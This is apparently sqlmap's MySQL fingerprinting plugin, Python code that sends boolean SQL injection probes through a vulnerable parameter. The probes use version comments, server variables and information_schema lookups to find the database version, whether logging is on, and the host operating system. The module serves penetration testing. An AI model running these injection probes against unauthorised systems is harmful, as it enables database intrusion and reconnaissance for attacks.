#!/usr/bin/env python """ Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from lib.core.common import Backend from lib.core.common import Format from lib.core.common import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.session import setDbms from lib.core.settings import MYSQL_ALIASES from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.MYSQL) def _commentCheck(self): infoMsg = "executing %s comment injection fingerprint" % DBMS.MYSQL logger.info(infoMsg) result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/* NoValue */") if not result: warnMsg = "unable to perform %s comment injection" % DBMS.MYSQL logger.warn(warnMsg) return None # MySQL valid versions updated on 04/2011 versions = ( (32200, 32235), # MySQL 3.22 (32300, 32359), # MySQL 3.23 (40000, 40032), # MySQL 4.0 (40100, 40131), # MySQL 4.1 (50000, 50092), # MySQL 5.0 (50100, 50156), # MySQL 5.1 (50400, 50404), # MySQL 5.4 (50500, 50521), # MySQL 5.5 (50600, 50604), # MySQL 5.6 (60000, 60014), # MySQL 6.0 ) index = -1 for i in xrange(len(versions)): element = versions[i] version = element[0] version = getUnicode(version) result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1]=[RANDNUM2]*/" % version) if result: break else: index += 1 if index >= 0: prevVer = None for version in xrange(versions[index][0], versions[index][1] + 1): version = getUnicode(version) result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1]=[RANDNUM2]*/" % version) if result: if not prevVer: prevVer = version if version[0] == "3": midVer = prevVer[1:3] else: midVer = prevVer[2] trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:]) return trueVer prevVer = version return None def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " actVer = Format.getDbms() if not conf.extensiveFp: value += actVer return value comVer = self._commentCheck() blank = " " * 15 value += "active fingerprint: %s" % actVer if comVer: comVer = Format.getDbms([comVer]) value += "\n%scomment injection fingerprint: %s" % (blank, comVer) if kb.bannerFp: banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None if re.search("-log$", kb.data.banner): banVer += ", logging enabled" banVer = Format.getDbms([banVer] if banVer else None) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): """ References for fingerprint: * http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html (up to 5.0.89) * http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html (up to 5.1.42) * http://dev.mysql.com/doc/refman/5.4/en/news-5-4-x.html (up to 5.4.4) * http://dev.mysql.com/doc/refman/5.5/en/news-5-5-x.html (up to 5.5.0) * http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn) """ if not conf.extensiveFp and (Backend.isDbmsWithin(MYSQL_ALIASES) \ or conf.dbms in MYSQL_ALIASES) and Backend.getVersion() and \ Backend.getVersion() != UNKNOWN_DBMS_VERSION: v = Backend.getVersion().replace(">", "") v = v.replace("=", "") v = v.replace(" ", "") Backend.setVersion(v) setDbms("%s %s" % (DBMS.MYSQL, Backend.getVersion())) if Backend.isVersionGreaterOrEqualThan("5"): kb.data.has_information_schema = True self.getBanner() return True infoMsg = "testing %s" % DBMS.MYSQL logger.info(infoMsg) result = inject.checkBooleanExpression("QUARTER(NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.MYSQL logger.info(infoMsg) result = inject.checkBooleanExpression("USER() LIKE USER()") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL logger.warn(warnMsg) return False # reading information_schema on some platforms is causing annoying timeout exits # Reference: http://bugs.mysql.com/bug.php?id=15855 # Determine if it is MySQL >= 5.0.0 if inject.checkBooleanExpression("ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],[RANDNUM]))"): kb.data.has_information_schema = True Backend.setVersion(">= 5.0.0") setDbms("%s 5" % DBMS.MYSQL) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.MYSQL logger.info(infoMsg) # Check if it is MySQL >= 5.5.0 if inject.checkBooleanExpression("TO_SECONDS(950501)>0"): Backend.setVersion(">= 5.5.0") # Check if it is MySQL >= 5.1.2 and < 5.5.0 elif inject.checkBooleanExpression("@@table_open_cache=@@table_open_cache"): if inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.GLOBAL_STATUS LIMIT 0, 1)"): Backend.setVersionList([">= 5.1.12", "< 5.5.0"]) elif inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PROCESSLIST LIMIT 0, 1)"): Backend.setVersionList([">= 5.1.7", "< 5.1.12"]) elif inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PARTITIONS LIMIT 0, 1)"): Backend.setVersion("= 5.1.6") elif inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PLUGINS LIMIT 0, 1)"): Backend.setVersionList([">= 5.1.5", "< 5.1.6"]) else: Backend.setVersionList([">= 5.1.2", "< 5.1.5"]) # Check if it is MySQL >= 5.0.0 and < 5.1.2 elif inject.checkBooleanExpression("@@hostname=@@hostname"): Backend.setVersionList([">= 5.0.38", "< 5.1.2"]) elif inject.checkBooleanExpression("@@character_set_filesystem=@@character_set_filesystem"): Backend.setVersionList([">= 5.0.19", "< 5.0.38"]) elif not inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM DUAL WHERE [RANDNUM1]!=[RANDNUM2])"): Backend.setVersionList([">= 5.0.11", "< 5.0.19"]) elif inject.checkBooleanExpression("@@div_precision_increment=@@div_precision_increment"): Backend.setVersionList([">= 5.0.6", "< 5.0.11"]) elif inject.checkBooleanExpression("@@automatic_sp_privileges=@@automatic_sp_privileges"): Backend.setVersionList([">= 5.0.3", "< 5.0.6"]) else: Backend.setVersionList([">= 5.0.0", "< 5.0.3"]) # For cases when information_schema is missing elif inject.checkBooleanExpression("DATABASE() LIKE SCHEMA()"): Backend.setVersion(">= 5.0.2") setDbms("%s 5" % DBMS.MYSQL) self.getBanner() elif inject.checkBooleanExpression("STRCMP(LOWER(CURRENT_USER()), UPPER(CURRENT_USER()))=0"): Backend.setVersion("< 5.0.0") setDbms("%s 4" % DBMS.MYSQL) self.getBanner() if not conf.extensiveFp: return True # Check which version of MySQL < 5.0.0 it is if inject.checkBooleanExpression("3=(SELECT COERCIBILITY(USER()))"): Backend.setVersionList([">= 4.1.11", "< 5.0.0"]) elif inject.checkBooleanExpression("2=(SELECT COERCIBILITY(USER()))"): Backend.setVersionList([">= 4.1.1", "< 4.1.11"]) elif inject.checkBooleanExpression("CURRENT_USER()=CURRENT_USER()"): Backend.setVersionList([">= 4.0.6", "< 4.1.1"]) if inject.checkBooleanExpression("'utf8'=(SELECT CHARSET(CURRENT_USER()))"): Backend.setVersion("= 4.1.0") else: Backend.setVersionList([">= 4.0.6", "< 4.1.0"]) else: Backend.setVersionList([">= 4.0.0", "< 4.0.6"]) else: Backend.setVersion("< 4.0.0") setDbms("%s 3" % DBMS.MYSQL) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL logger.warn(warnMsg) return False def checkDbmsOs(self, detailed=False): if Backend.getOs(): return infoMsg = "fingerprinting the back-end DBMS operating system" logger.info(infoMsg) result = inject.checkBooleanExpression("'W'=UPPER(MID(@@version_compile_os,1,1))") if result: Backend.setOs(OS.WINDOWS) elif not result: Backend.setOs(OS.LINUX) if Backend.getOs(): infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() logger.info(infoMsg) else: self.userChooseDbmsOs() self.cleanup(onlyFileTbl=True)